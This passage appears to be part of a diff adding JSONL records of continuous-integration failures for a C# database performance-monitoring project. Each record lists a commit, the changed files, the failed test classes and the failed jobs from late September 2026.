or.Ui/PlanViewerControl.xaml.cs"],"failed_classes":["PerformanceMonitorLite.Tests.PlanServerMetadataReaderTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)","Darling PG tests (2)","Lite tests (3)","Darling whole-tree guards"]}
+{"date":"2026-09-28","head_sha":"0f3d97c46417ea9951444119b40c7154be79d1cf","event":"pull_request","changed_files":["Darling/Darling.Tests/McpServiceParameterDiSeatCensusTests.cs","Darling/Darling.Tests/PlanSync4535ConfigLoadingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.QueryPerf.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/darling.sample.json","Darling/PerformanceMonitor.Darling.Viewer/ProcedureHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStatsHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStoreHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerActualPlanFlow.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Plans.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerSettings.cs","Darling/PerformanceMonitor.Darling.Viewer/WaitDrillDownWindow.xaml.cs","Lite/Analysis/DrillDownCollector.Plans.cs","Lite/Analysis/DuckDbFactCollector.QueryPerf.cs","Lite/App.xaml.cs","Lite/Controls/ServerTab.Plans.cs","Lite/Mcp/McpPlanTools.cs","Lite/config/settings.sample.json","PerformanceMonitor.PlanAnalysis/ConfigLoader.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","PerformanceMonitor.PlanAnalysis/PlanAdvisoryAggregator.cs","PerformanceMonitor.Ui/PlanViewerControl.xaml.cs"],"failed_classes":["Darling.Tests.FleetSweepWebFeedTests","Darling.Tests.SharedBaselineCacheTests","PerformanceMonitorLite.Tests.SettingsSampleTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (1)","Lite tests (0)"]}
+{"date":"2026-09-28","head_sha":"a112c09d5dae43911e0947be7be16edf29fd1b32","event":"pull_request","changed_files":["Darling/Darling.Tests/PlanSync4530DrillDownLiveTests.cs","Darling/Darling.Tests/PlanSync4530EntryPointsTests.cs","Darling/Darling.Tests/PlanSync4530ReaderLiveTests.cs","Darling/Darling.Tests/packages.lock.json","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingServerMetadataReader.cs","Darling/PerformanceMonitor.Darling.Storage/PerformanceMonitor.Darling.Storage.csproj","Darling/PerformanceMonitor.Darling.Viewer/ProcedureHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStatsHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStoreHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerActualPlanFlow.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Plans.cs","Darling/PerformanceMonitor.Darling.Viewer/WaitDrillDownWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/packages.lock.json","Lite.Tests/PlanServerMetadataReaderTests.cs","Lite/Analysis/DrillDownCollector.Plans.cs","Lite/Controls/FinOpsTab.xaml.cs","Lite/Controls/ServerTab.Plans.cs","Lite/Mcp/McpPlanTools.cs","Lite/Services/LocalDataService.PlanServerMetadata.cs","Lite/Windows/PlanViewerWindow.xaml.cs","Lite/Windows/ProcedureHistoryWindow.xaml.cs","Lite/Windows/QueryStatsHistoryWindow.xaml.cs","Lite/Windows/QueryStoreHistoryWindow.xaml.cs","Lite/Windows/WaitDrillDownWindow.xaml.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","PerformanceMonitor.PlanAnalysis/PlanAdvisoryAggregator.cs","PerformanceMonitor.Ui/PlanViewerControl.xaml.cs"],"failed_classes":["Darling.Tests.StorageCommandTimeoutTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"61da64f50fce7cb65b3c5cbdacab7b7a40a7b6c3","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeStatementTimeoutReloadTests.cs","Darling/Darling.Tests/ComposeTempFileLimitLiveTests.cs","Darling/Darling.Tests/ReadOutcomeClassifierTests.cs","Darling/Darling.Tests/WebExceptionTextCensusTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSpec.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReadLatencyReader.cs","Darling/PerformanceMonitor.Darling.Service/ReadLatencyAccumulator.cs","Darling/PerformanceMonitor.Darling.Service/ReadOutcomeClassifier.cs","Darling/tools/provision-roles.sql"],"failed_classes":["Darling.Tests.ControlPlaneReloadDurabilityTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"92a3e688986d43f28d04551bc77da2e7790137e2","event":"pull_request","changed_files":["Darling/Darling.Tests/CaggGroupIndexDropRungTests.cs","Darling/Darling.Tests/IntervalFirstExecIndexRungTests.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.CaggGroupIndexDropLiveTests","Darling.Tests.CaggGroupIndexDropUpgradeLiveTests","Darling.Tests.MigrationDataMovingRungCensusPins"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"310326cc4e2c5d3a2c5e95efd02227de99c37fc7","event":"pull_request","changed_files":["Darling/Darling.Tests/StoreSelfMetricsTests.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs"],"failed_classes":["Darling.Tests.StoreSelfMetricsTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"1d05c9cf78df0fd030219b8f4408882251c477b7","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs","Darling/Darling.Tests/DarlingComposeTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs"],"failed_classes":["Darling.Tests.McpReadCommandTimeoutTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"5af839411c6eae48fbf98e0df87b18bc288f4e6d","event":"pull_request","changed_files":["Darling/Darling.Tests/CaggGroupIndexDropRungTests.cs","Darling/Darling.Tests/IntervalFirstExecIndexRungTests.cs","Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.CaggGroupIndexDropLiveTests","Darling.Tests.CaggGroupIndexDropUpgradeLiveTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-28","head_sha":"cb5545cb1e70305431f89cd710bfc1e35b018aa9","event":"pull_request","changed_files":["CHANGELOG.md","Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/CaggGroupIndexDropRungTests.cs","Darling/Darling.Tests/CaggGroupIndexDropUpgradeLiveTests.cs","Darling/Darling.Tests/CollectionHealthPayloadBudgetLiveTests.cs","Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs","Darling/Darling.Tests/ComposeStatementTimeoutReloadTests.cs","Darling/Darling.Tests/ComposeTempFileLimitLiveTests.cs","Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/FleetSweepWebFeedTests.cs","Darling/Darling.Tests/IntervalFirstExecIndexRungTests.cs","Darling/Darling.Tests/IntervalFirstExecIndexWideRungTests.cs","Darling/Darling.Tests/McpServiceParameterDiSeatCensusTests.cs","Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/PlanSync4530ReaderLiveTests.cs","Darling/Darling.Tests/PlanSync4535ConfigLoadingTests.cs","Darling/Darling.Tests/PlanSync4597ServerContextFieldsLiveTests.cs","Darling/Darling.Tests/PlanSync4602AnalysisServiceConfigCensusTests.cs","Darling/Darling.Tests/PlanSync4613ReproScriptTests.cs","Darling/Darling.Tests/ProductiveZeroBandingTests.cs","Darling/Darling.Tests/QueryStoreTrendRoutingCachedLiveTests.cs","Darling/Darling.Tests/QueryStoreTrendRoutingTests.cs","Darling/Darling.Tests/ReadOutcomeClassifierTests.cs","Darling/Darling.Tests/SharedBaselineCacheTests.cs","Darling/Darling.Tests/StoreSelfMetricsTests.cs","Darling/Darling.Tests/SwallowedItemFailureTests.cs","Darling/Darling.Tests/Viewer4597Tests.cs","Darling/Darling.Tests/WebExceptionTextCensusTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.QueryPerf.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSpec.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReadLatencyReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/ReadLatencyAccumulator.cs","Darling/PerformanceMonitor.Darling.Service/ReadOutcomeClassifier.cs","Darling/PerformanceMonitor.Darling.Service/darling.sample.json","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingServerMetadataReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreTrendRouting.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs","Darling/PerformanceMonitor.Darling.Viewer/ProcedureHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStatsHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStoreHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/Themes/CoolBreezeTheme.xaml","Darling/PerformanceMonitor.Darling.Viewer/Themes/DarkTheme.xaml","Darling/PerformanceMonitor.Darling.Viewer/Themes/LightTheme.xaml","Darling/PerformanceMonitor.Darling.Viewer/ViewerActualPlanFlow.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Plans.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerSettings.cs","Darling/PerformanceMonitor.Darling.Viewer/WaitDrillDownWindow.xaml.cs","Darling/tools/provision-roles.sql","Lite.Tests/CollectionHealthPayloadBudgetToolTests.cs","Lite.Tests/PlanServerMetadataDatabaseArgTests.cs","Lite.Tests/SwallowedItemFailureTests.cs","Lite/Analysis/DrillDownCollector.Plans.cs","Lite/Analysis/DuckDbFactCollector.QueryPerf.cs","Lite/App.xaml.cs","Lite/Controls/ServerTab.Plans.cs","Lite/Mcp/McpHealthTools.cs","Lite/Mcp/McpPlanTools.cs","Lite/Services/LocalDataService.PlanServerMetadata.cs","Lite/Themes/CoolBreezeTheme.xaml","Lite/Themes/DarkTheme.xaml","Lite/Themes/LightTheme.xaml","Lite/config/settings.sample.json","PerformanceMonitor.Common/ServerHealthBands.cs","PerformanceMonitor.PlanAnalysis/ConfigLoader.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","PerformanceMonitor.PlanAnalysis/PlanAdvisoryAggregator.cs","PerformanceMonitor.PlanAnalysis/ReproScriptBuilder.cs","PerformanceMonitor.PlanAnalysis/ServerContextCard.cs","PerformanceMonitor.PlanAnalysis/ServerMetadata.cs","PerformanceMonitor.Ui/PlanViewerControl.Properties.cs","PerformanceMonitor.Ui/PlanViewerControl.Rendering.cs","PerformanceMonitor.Ui/PlanViewerControl.xaml","PerformanceMonitor.Ui/PlanViewerControl.xaml.cs"],"failed_classes":["Darling.Tests.ComposeParameterCoverageTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"88204f7cd2346e391ca2d14dd59463f6577dc51d","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeSourceRouterTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSourceRouter.cs"],"failed_classes":["Darling.Tests.RdsDeadlockIngestorTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-28","head_sha":"171809d092c98217f79e6668ff4a0e0c926c5905","event":"pull_request","changed_files":["Darling/Darling.Tests/Viewer4570Tests.cs","Darling/Darling.Tests/Viewer4579Tests.cs","Darling/Darling.Tests/Viewer4627Tests.cs","Darling/Darling.Tests/Viewer4629Tests.cs","Darling/PerformanceMonitor.Darling.Viewer/Themes/CoolBreezeTheme.xaml","Darling/PerformanceMonitor.Darling.Viewer/Themes/DarkTheme.xaml","Darling/PerformanceMonitor.Darling.Viewer/Themes/LightTheme.xaml","Lite/Themes/CoolBreezeTheme.xaml","Lite/Themes/DarkTheme.xaml","Lite/Themes/LightTheme.xaml","PerformanceMonitor.PlanAnalysis/PlanDisplayText.cs","PerformanceMonitor.PlanAnalysis/PlanEdgeColour.cs","PerformanceMonitor.PlanAnalysis/PlanRowAccuracy.cs","PerformanceMonitor.Ui/PlanViewerControl.Minimap.cs","PerformanceMonitor.Ui/PlanViewerControl.Properties.cs","PerformanceMonitor.Ui/PlanViewerControl.Rendering.cs","PerformanceMonitor.Ui/PlanViewerControl.xaml.cs","deprecated/Dashboard/Themes/CoolBreezeTheme.xaml","deprecated/Dashboard/Themes/DarkTheme.xaml","deprecated/Dashboard/Themes/LightTheme.xaml"],"failed_classes":["Darling.Tests.PlanViewerWarningColorAndFixTests","Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["Lite tests (1)","Darling PG tests (1)","build","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"c243ded1b48a404d1a0168dccc6a404d9324db80","event":"pull_request","changed_files":["Darling/Darling.Tests/ScratchPostgres.cs"],"failed_classes":["Darling.Tests.StoreSessionTimeZoneLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-28","head_sha":"edbea21c52008aac952ef33a26bb78ebb710c765","event":"pull_request","changed_files":["Darling/Darling.Tests/ViewerStoreUnavailableShellTests.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.PlanViewer.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/StoreUnavailableShell.cs"],"failed_classes":["Darling.Tests.ViewerFleetTimerFanOutPositionTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-28","head_sha":"8b2191583216ec409b936a59f52f03a584e7962a","event":"pull_request","changed_files":["Darling/Darling.Tests/AnomalyObjectStatsLatestSnapshotsLiveTests.cs","Darling/Darling.Tests/CaptureDownChunkOrderTests.cs","Darling/Darling.Tests/DarlingAgStatesReaderLiveEqualityTests.cs","Darling/Darling.Tests/DarlingWatermarkFloorPlanShapeLiveTests.cs","Darling/Darling.Tests/EventWindowedReadsAreBoundedLivePostgresTests.cs","Darling/Darling.Tests/FleetReadsAreBoundedByTheFleetTests.cs","Darling/Darling.Tests/ForcePlanFailuresAccessPathTests.cs","Darling/Darling.Tests/JobHistoryPerServerTopNLiveTests.cs","Darling/Darling.Tests/LatestValueLookbackTests.cs","Darling/Darling.Tests/LivePlanShapeIsolationCensusTests.cs","Darling/Darling.Tests/PgServerConfigToolBoundTests.cs","Darling/Darling.Tests/PgTargetConfigSnapshotBoundTests.cs","Darling/Darling.Tests/ServerListAndSummaryPlanShapeTests.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"06815880fb3814dfc039eccfb20cc3adbc77cb39","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/DarlingWebAssetsTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/MeasureCatalog.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/editor.js"],"failed_classes":["Darling.Tests.DarlingMcpCustomViewCatalogSizeTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-28","head_sha":"990cbc813ebdf9a13033c2896664953731fced0a","event":"pull_request","changed_files":["Darling/Darling.Tests/PgSettingRedactorTests.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-28","head_sha":"ec25f4ec0d4b0d5c105fe1a768474e7cfc0aaf40","event":"pull_request","changed_files":["Darling/Darling.Tests/ForcePlanFailuresAccessPathTests.cs","Darling/Darling.Tests/ForcePlanFailuresInvalidationPinsTests.cs","Darling/Darling.Tests/ForcePlanFailuresMemoLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertReadAdapter.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/QueryStoreBackfill.cs"],"failed_classes":["PerformanceMonitorLite.Tests.BlockingDeadlockContextBuilderTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-09-28","head_sha":"bc389dd772ef7f97725ad238991d82eaef9242e3","event":"pull_request","changed_files":["Darling/Darling.Tests/DatabaseWatermarkCacheRunnerLiveTests.cs","Darling/Darling.Tests/DatabaseWatermarkCacheTests.cs","Darling/Darling.Tests/QueryStoreDatabaseWatermarkWiringPinTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DatabaseWatermarkCache.cs","Darling/PerformanceMonitor.Darling.Service/ServerWatermarkCache.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"281342891ec870936c96b854c088fc72cf288065","event":"pull_request","changed_files":["Darling/Darling.Tests/WebAutoRefreshPolicyTests.cs","Darling/Darling.Tests/WebFetchLayerTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css","Darling/PerformanceMonitor.Darling.Service/wwwroot/index.html","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/app.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/editor.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/notebook.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/views.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-control.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/refresh-policy.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/views-api.js"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-28","head_sha":"76e1865c36d465a9df7a8253723cdb73ab46e38f","event":"pull_request","changed_files":["Darling/Darling.Tests/PgStatementEvictionNoteTests.cs","Darling/Darling.Tests/PgStatementsDeallocLiveTests.cs","Darling/Darling.Tests/PgStatementsEvictionFindingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetStatementsEvictionRead.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgStatementTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/PgTargetToolRecommendations.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgStatementReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgStatementEvictionNote.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Postgres.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs","Lite.Tests/MeasurementContractCensusTests.cs","Lite.Tests/ServerEpochTests.cs","PerformanceMonitor.Analysis/EvictionFinding.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Config.cs","PerformanceMonitor.Analysis/PgTargetFactKeys.cs","PerformanceMonitor.Analysis/PgTargetScorer.Config.cs","PerformanceMonitor.Collectors/PgStatementStatsCollector.cs","PerformanceMonitor.Collectors/ServerEpoch.cs"],"failed_classes":["Darling.Tests.CollectorMeasurementSeamTests","Darling.Tests.PgServerConfigScopeRungTests","Darling.Tests.PgStatementStatsRowCoherentResetTests","Darling.Tests.PgTargetConfigSnapshotBoundTests","Lite.Tests.PgStatementStatsDeltaSkipTests","Lite.Tests.PgStatementStatsFlavorTests","Lite.Tests.ServerEpochTests","PerformanceMonitorLite.Tests.MeasurementContractCensusTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (0)","build","Lite tests (1)","Lite tests (0)"]}
+{"date":"2026-09-28","head_sha":"f4bbfe5fd547e8f348800dd03ed7606d82bec744","event":"pull_request","changed_files":["Darling/Darling.Tests/DocCommentHygieneTests.cs","Darling/Darling.Tests/ViewerDisabledListBoxThemeTests.cs","Darling/PerformanceMonitor.Darling.Viewer/Themes/CoolBreezeTheme.xaml","Darling/PerformanceMonitor.Darling.Viewer/Themes/DarkTheme.xaml","Darling/PerformanceMonitor.Darling.Viewer/Themes/LightTheme.xaml"],"failed_classes":["Darling.Tests.PgLogEventsLivePostgresTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-29","head_sha":"0d66ce2272f78d37650e2d4d7d822c48d642ef3d","event":"pull_request","changed_files":[".claude/skills/lane-orders/SKILL.md","Darling/Darling.Tests/WaitRateTileReadCountLiveTests.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-29","head_sha":"8ab61d79df7d55a5db338babc1019c511189b067","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeQueryStoreWideStartLiveTests.cs","Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBelowFloorLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideGateTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideHistoryNoteTests.cs","Darling/Darling.Tests/QueryStoreTopWindowTests.cs","Darling/Darling.Tests/RawWindowFloorViewerPortTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs"],"failed_classes":["Darling.Tests.ComposeParameterCoverageTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-29","head_sha":"8921ce59dfb077199686bf90a6dc7aef35169bb0","event":"pull_request","changed_files":["Darling/Darling.Tests/PgLogEventsPipelineTests.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests"],"failed_jobs":["build","Darling PG tests (2)"]}
+{"date":"2026-09-29","head_sha":"b7afe92c2977bd3ab4a4d3dd62ba34821f740fa7","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorMeasurementSeamTests.cs","Darling/Darling.Tests/LiveTailQuery.cs","Darling/Darling.Tests/PgDeadlocksPlanCaptureResumeTests.cs","Darling/Darling.Tests/PgDeadlocksResumeLiveTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgLogTailStderrSiblingLiveTests.cs","Darling/Darling.Tests/PgPlanCaptureLiveTests.cs","Darling/Darling.Tests/PgRaiseShapedRecordsLiveTests.cs","Darling/Darling.Tests/PgServerLogTailBinaryRouteTests.cs","Darling/Darling.Tests/PgServerLogTailCsvJsonRotationLiveTests.cs","Darling/Darling.Tests/PgServerLogTailResumeTests.cs","Darling/Darling.Tests/PgServerLogTailRotationLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Lite.Tests/PgPlanCaptureCollectorDefinitionTests.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Darling.Tests.CollectorStateContractTests","Darling.Tests.PgDeadlocksCsvlogLiveTests","Darling.Tests.PgLogEventsCsvlogLiveTests","Darling.Tests.PgLogEventsJsonlogLiveTests","Darling.Tests.PgLogEventsLivePostgresTests","Darling.Tests.PgPlanCaptureCsvLiveTests","Darling.Tests.TsqlConventionGuardTests","Lite.Tests.DefaultTraceEventsCollectorDefinitionTests","Lite.Tests.PgServerLogPathPinTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)","Lite tests (1)","Lite tests (0)","Darling PG tests (0)"]}
+{"date":"2026-09-29","head_sha":"b125deec3a61e42b6ff8ad6feb849f4d9090c633","event":"pull_request","changed_files":["Darling/Darling.Tests/Fixtures/OriginPlans/memory_grant_wait_plan.sqlplan","Darling/Darling.Tests/Fixtures/OriginPlans/serially-parallel.sqlplan","Darling/Darling.Tests/Fixtures/OriginPlans/spill_plan.sqlplan","Darling/Darling.Tests/PlanSync4531Tests.cs","Darling/Darling.Tests/PlanSync4535StatementRulesTests.cs","Darling/Darling.Tests/PlanSync4686ExcessiveMemoryGrantTests.cs","Darling/Darling.Tests/PlanSync4687CeGuessDetectionTests.cs","Darling/Darling.Tests/PlanSync4690ExpensiveOperatorExchangeTests.cs","PerformanceMonitor.PlanAnalysis/PlanAnalyzer.cs","PerformanceMonitor.PlanAnalysis/PlanModels.cs","PerformanceMonitor.PlanAnalysis/ShowPlanParser.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests"],"failed_jobs":["Darling PG tests (2)"]}
